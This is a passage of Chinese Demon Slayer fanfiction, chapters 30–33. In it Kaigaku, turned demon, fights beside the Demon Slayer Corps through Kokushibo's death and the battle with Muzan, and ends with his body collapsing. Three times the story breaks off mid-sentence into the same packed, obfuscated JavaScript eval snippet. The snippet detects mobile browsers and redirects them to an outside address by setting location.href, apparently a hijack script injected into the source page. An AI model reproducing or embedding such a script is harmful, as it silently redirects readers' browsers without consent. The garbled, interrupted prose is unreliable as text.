狯岳……狯岳还在艰难地拼身体。 刚勉强自己放了一波高压电,他又开始饿了,不死川实弥的血真踏马香,香到他头晕脑胀。 不死川玄弥又没死,用来固定黑死牟的血鬼术还在继续。而黑死牟似乎因为再生脑袋导致消耗太大,动作变得迟缓许多。 问题不大,他们一定能再杀黑死牟一起。 ……问题不大。 黑死牟看起来,已经不再像个人了。已经完全是个畸形的怪物,让人看了都觉得生理不适。 ——那曾跪倒在这种怪物前的他,又算什么呢? 狯岳胃里一阵翻腾,忍不住抱怨道: “……有完没完。” 他死死盯着眼前黑死牟的六只眼睛,不吐不快: “你已经输了!没有翻盘的余地了!”他对着这颗已经没用的脑袋碎碎念。“不要再挣扎了,实在太难看了!强者……强者不该是这个样子的,起码不该是你现在这个样子!” 恍惚间,他仿佛听到了黑死牟的疑问: 那应该是什么样子? “应该……应该是云淡风轻的样子。一个人帅气地把所有问题都解决,然后留给大家一个潇洒的背影。”他像醉酒一样喃喃道,“就算输掉了,表面上……也要足够体面地退场才行。要……要笑着谢幕才行。” 小孩子。他听到一声无奈的轻笑。应该是,要忠于内心才行。 ……可这听起来,又不像是黑死牟的声音了。 因为黑死牟绝对说不出这种话——虽然他一点也不了解黑死牟,但他莫名相信自己的判断,绝对错不了。 就算黑死牟最后想说点什么,也一定不会这么平和,这么莫名其妙。 ……那么,会是谁? 狯岳的视线模糊了,他眨了眨眼,才意识到是黑死牟开始化灰,灰烬被风带进了他的眼睛,刺激了他的泪腺。 “……结束了?” 他满怀希望地问。 “还没有。”蝴蝶忍来到他面前,又把一管血打进他的胳膊,这次是上弦一,黑死牟的血。“接下来,还要打鬼舞辻无惨呢。” 狯岳:“……” 狯岳:“哦。” 30.第三十章 黑死牟就这么被消灭了,老实说,狯岳有种不真实的感觉。 连砍头都克服了的鬼,居然就这样被他们收拾掉了? 明明之前见到黑死牟的时候,他都被砍到狼狈不堪,一点反杀的希望都没有…… 是因为人数和剑技水平的关系吧。 一个人对上黑死牟,必死无疑。 两个人对上黑死牟,可以多撑一段时间。 而他们有五个人——蝴蝶忍和时透无一郎不算——就可以把黑死牟干掉了,想想就觉得不可思议。 毕竟那种人物,不是靠堆积人数就能取胜的存在。 “是因为二次变色的日轮刀吧?”蝴蝶忍推测,“不死川先生的刀,在最后时刻,变成了赫刀呢。” 不死川实弥没懂:“什么赫刀?” “悲鸣屿先生的流星锤击中了不死川先生的刀,结果不死川先生的刀身就变红了。这种刀,和炼狱先生家传记载中提到的,初代呼吸法剑士曾使用过的‘赫刀’,大约是一种东西。”蝴蝶忍顿了顿,“赫刀,可以有效阻止鬼的再生……” 只是,不知道为什么。 黑死牟的死去,并没有让他产生复仇成功那种酣畅淋漓的快意。 大约是因为,他不是一个人打倒黑死牟的缘故吧。 对,按照他最初的计划,他变成鬼之后,本该潜伏在鬼那一边,然后找机会下克上才对…… 算了,这种失去时效的事情,不必再想。 “……那么,赫刀这种技巧必须赶紧告诉其他人才行。赫刀能妨碍克服砍头弱点的黑死牟再生,也一定能阻止鬼舞辻无惨再生!”不死川实弥摩拳擦掌,“这次,一定要送那家伙下地狱!” 鬼舞辻无惨,所有恶鬼的始祖,鬼杀队的终极敌人。 只要打倒了那家伙,他就可以拿着从鬼杀队赚来的、下辈子都用不完的钱,舒舒服服过一辈子吧…… 大概。 前提是,他还得在这最终一战中活下来。 考虑到上弦一都这么强,鬼祖一定比上弦一更强,这里面多少有点风险。 但反正,都已经是最后了。 ……不对,“起码还有一个,”狯岳忽然想起来,“那个控制无限城的鬼,童磨叫她鸣女来着,现在——” 话音未落,整座无限城开始震动、摇晃,仿佛快要坍塌了一样。 “不要惊慌。”狐狸开口。“上弦四,鸣女,已被愈史郎控制,无限城……将抬升至地表。” “愈史郎是谁?” “你真的关心他是谁吗?” 的确不关心,只是听到这个名字的时候,不知为何,本能有些不爽而已。 “还能打的跟过来。”狐狸又开始带路,“我们直接去无惨那边。” 每个人都选择了跟上。 现在的无限城已经完全变成了产屋敷的所有物,在鎹鸦的指引下,所有的鬼被压缩、留在地下,所有的人被聚拢、送往地表。 而我妻善逸,也终于和水柱、恋柱、蛇柱和小伙伴灶门炭治郎一起,找到了他心心念念的大哥: “大哥!上弦四的血鬼术好恶心!”他直接往狯岳的身上扑,“还好我听力好,不然要被耍得团团转呢!” “放手——这种时候怎么还这么没大没小!”狯岳把他用力往外扯,“上弦四不是已经被解决了吗?!” “但我不跟你详细描述一下过程,你怎么知道我曾经那样努力过?如果我待会儿不小心死掉,你就一辈子不知道了呜呜呜呜呜——” “哈?!我为什么要知道,你战友和鎹鸦知道不就行了,而且战报也会说,少不了你!” “你明明知道我要的不仅仅是战报!” “……” “大哥——” 狯岳被吵得脑壳疼,终于还是选择把手放到我妻善逸的头上,咬牙切齿: “你……你做的很好。” 我妻善逸停止尖叫:“真的吗?” 狯岳:“真的。” “没骗我?” 狯岳刚要发火,就被看过来的灶门炭治郎、甘露寺蜜璃用“夸他,赶紧夸他”的眼神盯着,把恶劣的言辞吞了回去: “没骗你。”他继续咬牙,“你……抓捕了上弦四,很努力。” “还有呢?” “砍掉了上弦三,很厉害。” “嘿嘿,那主要是炭治郎的功劳啦。还有呢?” “……还有就是,”狯岳的忍耐到达极限,“再说废话,我就揍你!” 这下才是真消停,我妻善逸识趣地选择闭嘴。 ……闭嘴了几分钟而已,因为接下来,灶门炭治郎和悲鸣屿行冥说起了通透世界,不死川实弥也向伊黑小芭内告知了赫刀,一番交流下来,所有战斗力都在研究斑纹、通透世界和赫刀。 赫刀最简单,武器相碰撞就可以实现,大约取决于握刀的力度;斑纹也有明确的努力方向,就是想办法提升体温、加速心跳;只有通透世界,不会就是不会。 唯二会的俩,一个灶门炭治郎,一个悲鸣屿行冥,两个人加起来说不出一句能教导他人的话。 最聪明的伊黑小芭内和身为继子的不死川玄弥努力半天,都没法理解灶门炭治郎和悲鸣屿行冥想表达的意思,双双叹了一口气: “只能在实战中想办法了。” 我妻善逸……我妻善逸他扯了扯狯岳的袖子:“大哥。” 狯岳:“怎么了?” “就算知道斑纹开启的条件,也不是想开就能开的吧!”我妻善逸难以理解,用手指怼着太阳穴:“怎样才能把体温和心跳提上去啊,这种事是靠想就能做到的吗?!” 狯岳……狯岳他有同感,即便他是鬼,不会发烧到死,也不知道咋开斑纹。倒不如说,正因为他是鬼,体温比为人的时候要低,更增添了困难。 “行了行了,你开什么斑纹,根本没必要的事情。”他选择嘴硬把这事糊弄过去,“开了斑纹的人已经够多了。” 灶门炭治郎,时透无一郎、甘露寺蜜璃、不死川实弥、富冈义勇都开了斑纹,鉴于悲鸣屿行冥已经掌握了通透世界,对身体的控制力极强,他要开启斑纹的话,大约取决于想不想,而不是能不能。 至于伊黑小芭内嘛,他有种预感,只要甘露寺蜜璃需要,他什么都能做到……大概。 就在此时,我妻善逸又扯了扯狯岳的袖子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186641|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 狯岳:“又怎么了?” “前、前面,”我妻善逸放慢了脚步,冷汗涔涔,“声音……好恐怖!” 狐狸则停下了脚步。 鎹鸦的声音适时响起:“鬼舞辻无惨,就在前方!” ——原来如此。 狯岳看一眼我妻善逸,反手抓住他的胳膊,加快脚步,越过其他人冲到队伍最前端:“来都来了,打起精神!” 我妻善逸:“唉唉唉唉唉?!” 虽然一脸抗拒,但身体却很诚实,完全没有反抗狯岳的拖拽呢。 于是,打开一扇新门后,他们也第一个望见了一个巨大的、恶心巴拉的肉茧。 出于谨慎,他们没有贸然接近。 “……无惨在里面?好恶心的声音,绝对是无惨!”我妻善逸因紧张而话多,“我们要怎么办,切开这玩意吗?咦,奇怪,除了无惨之外,里面好像还有一个——噫!!!!!” 只见肉茧从内而外破开,鬼舞辻无惨拽着一个女人的脑袋,出现在他们面前。 不等那家伙开口,灶门炭治郎发出一声惊痛的呼喊:“珠世夫人!” 发信器一般,我妻善逸窜了出去。 狯岳:“???” 你是灶门炭治郎养的狗吗?! 只能一边在心里骂骂咧咧,一边跟了上去,做好接应的准备,免得这小子被鬼舞辻无惨一照面就弄死。 ——不是。 鬼舞辻无惨这家伙,还真任由我妻善逸把他的手带珠世的头砍下来了?! 开什么玩笑呢! 虽然为了补救,这家伙还甩出了数条长满倒刺的骨鞭,但狯岳用聚蚊成雷就把骨鞭全荡开、只受了腰背被划开的、对鬼来说不重的伤,实在有点…… 轻松。 我妻善逸这才露出吓坏了的表情,一边抱着珠世的脑袋,一边道歉:“对不起,大哥!” “……这家伙谁?”狯岳深呼吸,压住怒火。“能被无惨抓在手上,很重要的人物吧?” 我妻善逸茫然道:“我不知道啊!” 狯岳:“……” 什么鬼,不知道你就冲! 只剩一个头,人肯定早就死了……不对。 没死,正在再生,是鬼?! “啊,是,珠世夫人是很重要的人!”灶门炭治郎赶上前,“她是鬼杀队的合作者!蝴蝶小姐也知道的!” 合作者? 这种措辞,合作前就是鬼? 虽然身上没什么血腥味,再生速度也不快,大约没怎么吃人,但鬼就是鬼。 和鬼杀队之间的关系,不是从属,而是合作,想来没什么担保可言。说不定,只有主公一句“打算合作”的话。 还有,那什么愈史郎,不会也是鬼吧! 这才是开玩笑,鬼杀队原来和鬼有联系的吗?!连这种决战都有鬼帮忙,平时一定关系很密切吧! 既然例外有一有二再有三,为什么不可以有四有五有六,甚至更多? 那见鬼必杀的队律算什么,废纸吗?! 那维护队律的队员算什么,冤大头吗?! 狯岳只觉得荒唐极了,一时间,五味杂陈。 31.第三十一章 到头来,还是黑死牟说得对。 只有强者,才有选择权。 不管强在哪方面,只有强到不可替代,才不会被随意抛弃,才能赢到最后—— “大哥又生气了,为什么?!”我妻善逸赶忙把珠世往炭治郎身上一抛,伸手去够狯岳,“而且,这伤口是怎么回事?为什么愈合成了肿瘤?!” 狯岳“啪”得一声打掉他的手:“白痴!有毒!” ——算了。 都这种时候了。 他把纷乱的思绪抛在脑后,看向浑身长满尖牙的鬼舞辻无惨,“这种毒,我都没法迅速解决,你……你们,”他顿了顿,“可要小心了。” 老实说,到目前为止,事情进展得……也太顺利了点。 明明是鬼一方突然把人类拉入无限城,鬼应当拥有主场优势才对。 可一路打到现在,居然一个柱都没死,伤最重不过时透无一郎,也只是丢了左手而已。 ……总觉得哪里不对。 对此,鬼舞辻无惨深有同感。 “鸣女,到底发生了什么?!”他急着搞清楚状况,所以善逸才能轻易得手,所以狯岳才仅仅被注了毒而不是被当场绞杀。“为什么我感知不到除你之外的上弦!” 鸣女没有回答,他试图读取她的思考,但依旧一片空白。然后…… 剧烈的震动,结束了。 所有人被抛上了地面,抬起头就可以看见静谧的夜空。一轮弦月高挂西天,洒下冰凉如水的月光,像神明的眼睛,亲眼见证长达千年纠葛的落幕。 于是鬼舞辻无惨,连鸣女的存在也感知不到了。 被干掉了,一定是被鬼杀队干掉了! “没用的东西!”鬼舞辻无惨忍不住破口大骂,“果然,十二鬼月一点用都没有,连上弦都是垃圾!” 连黑死牟都败了,能靠得住的只有他自己。 “还有你们——你们没别的事情做吗,一直盯着我不放,太缠人了!”他露出嫌恶的表情,像是看到了肮脏的老鼠,“毕竟,你们这群人,只是侥幸从灾害中幸存,光活下来就要谢天谢地了。” 灶门炭治郎:“……灾害?!” “政府就是这么形容鬼灾的——把鬼吃人归为熊吃人,把血鬼术的痕迹理解为台风或者洪水。对他们来说,鬼也是天灾的一种,在计算分析人口构成的时候,不需要作为特别的理由单列。一场战争、一场瘟疫、一场地震,造成的杀伤都比鬼要大得多,什么人会对战争、瘟疫、地震生出复仇之心?接受事实,然后苟活下去,才是你们应该做的,为什么要来送死?” 这家伙太自大了吧! 能被人找到、试图杀死的鬼王而已,凭什么和天灾相提并论? 而且,战争也好、瘟疫也好、天灾也好,很多人照样会痛恨罪魁祸首,也有人会采取行动。凶手是熊就去猎熊,凶手是战争就去报复大名,凶手是瘟疫就去研究药方,凶手是天灾就尝试预测。 人从来不会因为暂时的无能为力,而毫无反抗地向灾害投降。 这家伙,也太小看人了。 于是灶门炭治郎一边骂他不配活在这世界上,一边被富冈义勇按住,让他先原地待命——还没到需要小家伙拼命的时候。 “不要轻易近身!除了毒之外,他的力量也比上弦更强。”狯岳皱着眉,继续交待刚才的手感,“骨鞭的硬度也非常夸张……” 随着不死川实弥的全力一击被鬼舞辻无惨抵挡并回击,他又补充道: “……看来,速度也非同寻常,一开始只是意外。” ——绝对不能被鬼舞辻无惨抓到。 狯岳谨慎地观察着战斗,反复推敲自己入场的时机。 他毕竟算是鬼舞辻无惨制造的鬼,一但被抓到,说不定会像珠世一样被吸收,搞不好,所谓的“神器”也会为他所用。 但也不能不介入,所有鬼杀队队士中,只有他的容错率更高。 “雷之呼吸,六之型,”他站在进退皆宜的位置,用血鬼术延伸自己的攻击范围,“电轰雷轰!” 大范围的电场降临,电流在鬼舞辻无惨的周围乱窜,骨鞭的甩动停滞了一瞬。 于是长武器纷纷以猩红的色彩甩出,甘露寺蜜璃的软刀压制骨鞭,悲鸣屿行冥的流星锤狠狠砸了过去。 于是鬼舞辻无惨的脑袋不可避免的掉了一次。 下一刻,他发出一声惊怒的呼啸,巨大的冲击波将所有人、武器从他身边推开。 “混账!”鬼舞辻无惨的伤口愈合得比之前慢得多,艰难地长出脑袋,“那是什么东西?!血鬼术?!” 狯岳没有回答,只继续控制漆黑的雷霆在他身上蔓延,不断破坏他的细胞,直到鬼舞辻无惨选择把被污染的血肉全部切断、丢弃为止。 “原来是你!”鬼舞辻无惨大怒,“我看在黑死牟的面子上,赐你鬼血,你却一点也不知珍惜!你受我恩惠,得以长生,居然还恩将仇报?!” “你脑子有问题吧?!”狯岳没打算和他辩经,豪不客气地翻了个白眼:“真当自己是天灾的话,你怎么好意思向我要忠诚?!” “也对,你也是个疯子!”无惨怒极反笑,“我是鬼的始祖,一旦我死,所有因我而生的鬼都会一并去死。到时候,你会成为我的陪葬!” 狯岳:“……” 狯岳:“???” 居然还有这种事?! 他完全不知道! “怎么,产屋敷没告诉你吗?”鬼舞辻无惨看出来了,兴味地继续,“也是,对他那个疯子来说,只要能打倒我,任何人去死都没关系——” “闭嘴!不许说主公坏话!”时透无一郎第一个出声,“这种事情,除了鬼,谁会知道!别把主公和你这种杂碎相提并论!” 我妻善逸……我妻善逸可没他那么乐观,因为狯岳的心声听起来非常恐怖,他似乎不认为,产屋敷会不知道这件事。 自从忽然遭遇黑死牟、开启决战以来,狯岳一直在生气,不过他也习惯了,反正狯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192695|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岳总会因为各种各样的事情产生各种各样的不满。 但这一次,狯岳的心声非常复杂,如果只是生气失望怀疑就罢了,但生气失望怀疑之后,变成了一片死寂是怎么回事? 狯岳似乎下定了什么决心,而他不知道这决心是好是坏。 “大、大哥?”我妻善逸伸手去够狯岳的肩膀,“你……他……” 但狯岳上前一步,巧合一般,避开了他的手。 我妻善逸也不知道自己该说些什么好,他不想狯岳去死,但如果鬼舞辻无惨的性命和狯岳绑在了一起,那…… 可能,大概。 也是没办法的事情。 “他、他一定是在说谎,”我妻善逸自己都不相信自己说的话,“那一定不是真的……” ——胡言乱语。 废物就是废物,总是逃避现实,直到无法挽回为止。 所以他才讨厌我妻善逸,他这个人,除了毫无用处的花言巧语,什么都拿不出手。 明明做不到坚定站在他那一边,还要装模作样地发表一家人的感言,真恶心。 “不要相信他,”我妻善逸的声音发抖,“我们还要一起回桃山——” 然而狯岳无视了他,只看着鬼舞辻无惨:“我不会死。” 鬼舞辻无惨:“什么?” “我说,就算你死了,我都不会死!” 产屋敷不告诉他是理所当然的,换成是他,遇到这种千载难逢的机会,也不会赌一个曾经向鬼屈服的队士不会第二次跳反。 这种事情……这种事情,他早就有了心理准备。 倒不如说,产屋敷还能放任他在外自由行走不作限制,已经出乎他的意料,并让他产生了不切实际的幻想。 幻想终归是幻想,他总要面对现实。 现实是,从他饮下鬼血那一刻起,就已经没有退路了。 如果他没有遇到狐狸,就会一条道走到黑,这个时候必然站在了鬼杀队的对立面;但他遇到了狐狸、还被逮回了鬼杀队,就注定面临现在这样的局面。 鬼杀队无法信任他,他在队内已没有任何前途可言;鬼更没有任何信任可言,想要给他机会的是已经被他们干掉的黑死牟,不是鬼舞辻无惨。 因为所以,不管哪一边,都不是他的归处。 要么和鬼舞辻无惨一起死,要么和鬼杀队其他人一起死——这本就是他应有的结局。 要么,再赌一把。 赌一把,神器会继续帮助他,让他有机会活下去。 就算赌输了也没关系,不管哪方获得胜利,都有人陪他一起去死。这样的局面,至少代表他的生命是有价值的,所下的赌注并没有完全落空,只是运气不好,丢的骰子没有赢而已。 既然如此,更要有体面的退场,更要……笑着谢幕才行。 “我是特别的!” 狯岳扯起嘴角,握紧了刀柄,下一瞬,整把刀颜色变得赤红。 “比你、比任何人都要特别!” 32.第三十二章 虽然听起来大言不惭,但大言不惭总比自暴自弃更好。 所以只有鬼舞辻无惨在生气:“愚蠢!狂妄!你一点都不特别,就是俗人一个!不过是只卑贱的、靠摇尾乞怜苟活至今的老鼠!等我抓到你,我一定让你生不如死!” 而我妻善逸又因为鬼舞辻无惨的话生气:“你这混蛋,不许对大哥这么说话!” 他迫切想要为狯岳做些什么,于是他向鬼舞辻无惨勇敢地冲了过去。 不需要事先沟通,他知道狯岳会掩护他,而狯岳“啧”了一声之后,也如他所想,挥舞着赫刀追了上去。 当骨鞭甩出,霹雳一闪的速度让第一波攻击击落了空,被狯岳抓住间隙,电流随之传递;鬼舞辻无惨的神经随之麻痹,睁眼闭眼间,我妻善逸消失在了他的视野当中。 等他再次捕捉到我妻善逸的身影,这小子已经像跃迁的电子一样,闪烁几下,出现在他背后: “雷之呼吸,七之型,火雷神!” 金色的闪电腾起,勾连成雷龙的形状,华丽又威严,势不可挡地咬向鬼舞辻无惨的脖子! 狯岳:“……” 狯岳:“???” 他目瞪口呆,脑海里一片混乱,眼睁睁看着这个他从没放在眼里的家伙,莫名其妙地亮出了一个他从没见过的剑型,帅气地切下鬼舞辻无惨的右肩,然后没收住、也似乎不打算收住的样子,向他直直撞了过来。 ——这家伙,故意的?! 只好任由我妻善逸整个人扑在他身上,顺势捞住他的后背,把他按在怀里,带离骨鞭的攻击范围。 “……哪里来的七之型?!”狯岳震惊地问,“老师教你的新招?!” 不是吧,那老头子居然偏心到这地步吗,只教这废物不教他?! 但我妻善逸第一时间反驳:“这、这是我自己想的,不是爷爷教的!因为,我想和你并肩作战,想帮你的忙,所以,所以,努力想了好久才——” 话音未落,狯岳立刻不爽地皱紧了眉头: “你就不能只为了你自己吗?!我又不欠你什么!” 还说什么想帮他的忙,他求他帮忙了吗?! 擅自靠过来,自顾自地说一些自我感动的话,摆出一副委屈求全的样子,搞得好像他不给予相应的回应,就辜负了这家伙的期待一样! “可是,可是,”我妻善逸不明白他为什么还要这么说,“这是我内心真实的想法啊。什么欠不欠的,你在说什么?” 他当然不明白狯岳内心的弯弯绕绕,不明白为什么狯岳不肯坦然接受他的好意 。 他本没指望狯岳能给他回应,不巧,见识了火雷神之后,狯岳更打定主意要和他划清界限。 狯岳不想欠他人情,任何人情。 不管我妻善逸本人到底怎么想。 “听不懂就算了。”狯岳深呼吸:“放开。” 但我妻善逸抱紧他的胳膊:“对不起,第一次实战不熟练,没能砍下无惨的头。而且这一型对身体的负担太大了,我现在腿好痛,站都站不稳……” 没等他把话说完,狯岳毫不犹豫地把他从身上撕下来、甩给了蝴蝶忍,并指着他的鼻子: “站都站不稳的废物,老实呆着,别添乱!” ——绝对是在炫耀吧,绝对! 这废物能想出自己的型,还威力这么大,确实出乎他的意料,但也在情理之中。 毕竟雷都劈不死的家伙,身上多少会带点异于常人的天赋。这种得天独厚的人,和他这样只能靠自己的人,不是一路人。 每次看到这种人,他都觉得老天不公。 而我妻善逸,更是其中翘楚。 如果这家伙努力上进也就罢了,偏偏他意志软弱、容易放弃,白瞎了这份天赋。 啊,不对,就现状而言,他那异于常人的天赋居然还允许他三心二意、肆意挥霍,稍微努力一下,就创造出了新的剑型。 那一心一意地努力,到现在还学不会一之型、也没有自创剑型的自己算什么? 老天安排的陪衬吗? ——更觉得这废物面目可憎了呢,呵呵。 既然有了我妻善逸突然亮出来的火雷神打底,不管接下来发生什么,都不会动摇他的内心。 就算悲鸣屿行冥开启斑纹,注定活不过今晚——这和尚一向舍己为人,做出这样的决定理所当然。 就算时透无一郎开启通透世界,只有一只手也造成了可观的杀伤——毕竟是握刀两个月宰掉下弦的天才。 就算伊黑小芭内在甘露寺蜜璃受伤后,秒速凑齐斑纹通透赫刀——爱情的力量不讲道理,很好很强大。 就算灶门炭治郎忽然用出了日之呼吸——呃,这个还是挺让人目瞪口呆的,毫无铺垫就冒出来个初始呼吸法,初始呼吸法还比其他衍生出来的呼吸法更强,技术这玩意不该是越发展越先进的吗? 哎嘿,呼吸法愣是越原始越强,真特么今不如昔。 千年以来,鬼杀队对鬼都难占上风,只靠着产屋敷的运筹帷幄和受害者的恨意维系至今。偏偏这几年风云突变,上弦被接连斩杀,新老杀鬼技巧扎堆出现,仿佛冥冥中有神明指引一般。 如果这个世界上真的有神明,那神明还真是一群残忍的家伙,高高在上地制造差异、制造不公,把人的命运当花绳耍……真该死。 于是,狯岳心平气和地想:除我妻善逸之外,离谱的事情这么多,他都不觉得生气,只觉得讽刺,果然一切都是我妻善逸的错。 我妻善逸:??? 他丝毫不知道,自己已经成了狯岳心中的万恶之源,只紧张地观察战场,并下定决心,再使用一次火雷神。 “……再用一次的话,你的腿绝对会断掉,还会留下后遗症。”配合蝴蝶忍做战地急救的愈史郎判断,“我很感谢你救了珠世大人,所以才给你这样的忠告。虽然很感谢你救了珠世大人,但是后遗症这种东西,治不了就是治不了。” 我妻善逸喃喃道:“都这种时候了。” 虽然他胆子很小,但所有人都在拼命,他也不能给爷爷丢脸。 何况…… 狯岳还在战斗啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204592|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 咆哮的雷鸣仿佛永不停歇,在耳边、在心里不断回响。 被鬼舞辻无惨吸收了大半的珠世已经从一颗可怜兮兮的脑袋重新长了回来:“你看起来,一副即使有后遗症也没关系的样子呢。” “啊?啊,是,”我妻善逸垂下眼帘,“毕竟……那可是无惨,如果这一次失败的话,下一次,我这种人,可能根本不会有伤到他的机会吧。” 愈史郎:“不要说这种不吉利的话!无惨一定会被打倒!不然我现在就带珠世大人离开——” “愈史郎。” “……对不起。” 珠世继续:“但是,善逸先生,你并不像我们憎恨无惨那样憎恨着他。” “呃……那混蛋的确蛮讨厌的。” 不过,我妻善逸也的确没有像其他人那样憎恨鬼舞辻无惨就是了。 毕竟作为和鬼没有深仇大恨的孤儿,鬼对他来说,是工作对象,不是报复对象。 “我无比憎恨无惨。只要能让无惨去死,我愿意付出任何代价。”珠世劝说:“但你不一样,更应该给自己留点余地,不是吗?” “不,那就……更不应该窝囊地待在原地才对,”我妻善逸把手伸向刀柄,“因为,因为,我想要……幸福。” “……唉?” “我……其实一点也不想加入鬼杀队,杀鬼的工作又辛苦又危险,我才不想年纪轻轻就死掉。但是,但是,我是个一无是处的人,直到加入鬼杀队之后,我才有了爷爷,才有了大哥,才有了朋友……我是因为加入鬼杀队才开始觉得幸福的。” 我妻善逸抬起眼,此时的眼神坚定地前所未有,一点也不像平时的他。 “我想要幸福。” ——他现在就感到幸福,希望能把幸福的生活继续下去。 “我想要大家都获得幸福。” ——幸福的生活要有爷爷,要有要有狯岳,要有炭治郎要有尹之助要有每个人。 “我想要成全大家的幸福。” ——就算狯岳不想要,他也想成为他的幸福。 “所以,所以,大家在竭尽全力的时候,我也必须竭尽全力才行!” 自从被爷爷捡回桃山以来,他一直在收获,收获剑技收获家人收获朋友,在被救下的人感谢的时候,那颗原本胆怯软弱的心也收获了自信和希望。 这些都是美好的闪闪发光的很好很好的东西,他要把它们紧紧攥在手中,一丝一毫都不要失去。 最可怕的结局,不过是死亡而已。 失去这些,比死亡更可怕。 “珠世夫人,愈史郎先生,谢谢你们为我着想。不过,能再给我来一支止痛药吗?” 一旁的蝴蝶忍没有说话,微笑着往他的腿上扎了一针。 “狯岳君虽然不太会说人话,做的事还算人事。”她拍了拍我妻善逸的肩膀,“尽管去做吧,给他添乱也没关系,毕竟…… “做哥哥的,又能拿弟弟怎么样呢?” 我妻善逸受到鼓励,眼睛闪闪发亮: “是!” 33.第三十三章 接下来发生的事情,回忆起来完全是一片混乱。 虽然冲上去战斗前,我妻善逸做了很多心理建设,但真冲上去之后,满脑子就只有战斗,没有余力思考旁的事情,只凭本能和其他人相互配合。 这不,狯岳也一样,根本没精力在嘴上骂他,只条件反射般“啧”了一声,所有怨言都堵在心里,化作一声声熟悉到令他安心的雷鸣。 他无比清晰地意识到,他的愿望实现了: 他和狯岳正在并肩作战。 就算派不上什么用场,就算下一秒失误死去,也算了却遗憾,无怨无悔。 “再坚持一下!”鎹鸦报时后,大家互相鼓励,“马上就要天亮了!” 鬼舞辻无惨有复数个心脏和大脑,除了太阳之外恐怕没有任何弱点,那么,只要想办法拖到日出就好了。 所有人前仆后继地贡献自己的力量,赌上生命付出健康拼上全部,把受到药物影响的鬼舞辻无惨硬生生拖到了太阳升起,无处可逃。 于是这个鬼的始祖,噩梦的化身,变成了一个庞大的婴儿。 ……等一下,为什么会变成婴儿?! 狯岳只瞥了一眼,就被阳光灼烧,然后被拼着腿骨断端移位也要扑过来的我妻善逸按在怀里,用破破烂烂的羽织包裹住。 还有其他好心人把更完整一点的衣物罩了过来,于是他彻底失去视野,只听见巨婴撕心裂肺的啼哭。 真是,太难看了。 比黑死牟临死前化成的牛鬼还要难看。 牛鬼起码还能再战,巨婴就只有逃跑。 鬼的始祖居然是这种货色……实在让人提不起一点敬意。一想到千年以来,那么多值得尊敬的人就因为这样一个巨婴失去生命,更觉得—— 只要活着,就不算输。 如果鬼舞辻无惨以这种姿态逃掉,这一代的猎鬼人的心血就此白费,问题继续留待将来,一切不过是循环而已。 ——拜托你,老老实实去死吧。 狯岳有气无力地想。 他好累,他不想再继续战斗了。如果鬼舞辻无惨不死,他可要完蛋了,那家伙大约真的会让他生不如死吧。 像天音夫人说过的那样,人折磨鬼都有各种方法,更别说鬼折磨鬼了。直接让他被太阳晒死还算好的,但如果那家伙灵机一动想出什么恶毒的交易……他不觉得自己的意志足够坚定。 所以,鬼舞辻无惨,拜托你,去死吧! ……然后,鬼舞辻无惨就真的死掉了。 然后,他的手脚也因为鬼舞辻无惨的死,变得极不稳定,皮肤甚至变透明了一瞬,可以直观地看见下方的血管、肌肉、神经和骨骼。 “唉?!唉?!为什么?!” 此时的我妻善逸抱着烧伤的狯岳,被隐转移到了周围残破屋舍连绵阴影处,正惊慌失措地发出尖叫。 “忍小姐!珠世夫人!愈史郎先生!救命啊!大哥他,他的状态好奇怪!为什么会这样?!” “……从没见过这种情况。”珠世的额角滴下冷汗,“他应该摆脱了无惨的控制才对,为什么会变成这样?” 愈史郎把几支针剂推入狯岳的身体:“会不会是因为,蝴蝶忍之前给他注射了上弦二、上弦一的血?” “无法断言……” 狯岳半睁着双眼,比医生更清楚明白,自己的身体正在崩解。 因为缺失了什么关键的东西,体内各种细胞无法正常工作,难以为继。 而本该大发神力的神器则像死了一样,一点反应也没有。 ——啊啊,赌输了。 他只感到讽刺。 ——说不定,坚定站在鬼那一边,坏事做尽,才有生的机会。 “不要,我不要这样!”我妻善逸的眼泪大颗大颗地掉了下来,“大哥明明是特别的……” 狯岳:^=_=^。 狯岳:闭嘴吧你。 他都要死了,能不能让他清静点? 但凡身体能动弹,他非得给这家伙一个暴栗不可。 “南无……阿弥陀佛。” ——什么嘛,悲鸣屿过来干嘛,想和他一起上路吗? “我……已经没救了,”悲鸣屿行冥在他身边坐下。“看来,你也没救了。” “请不要这样说,”蝴蝶忍的声音发颤,“说不定这些药会有用……” 但悲鸣屿才是对的,医疗手段对他们已经没有用了。 虽然很不甘心,但这一次,好像真的要死了。 都说人死前会看到走马灯,试图从过去的人生经历中找到让自己活下去的方法,但很遗憾,狯岳什么都没看到。 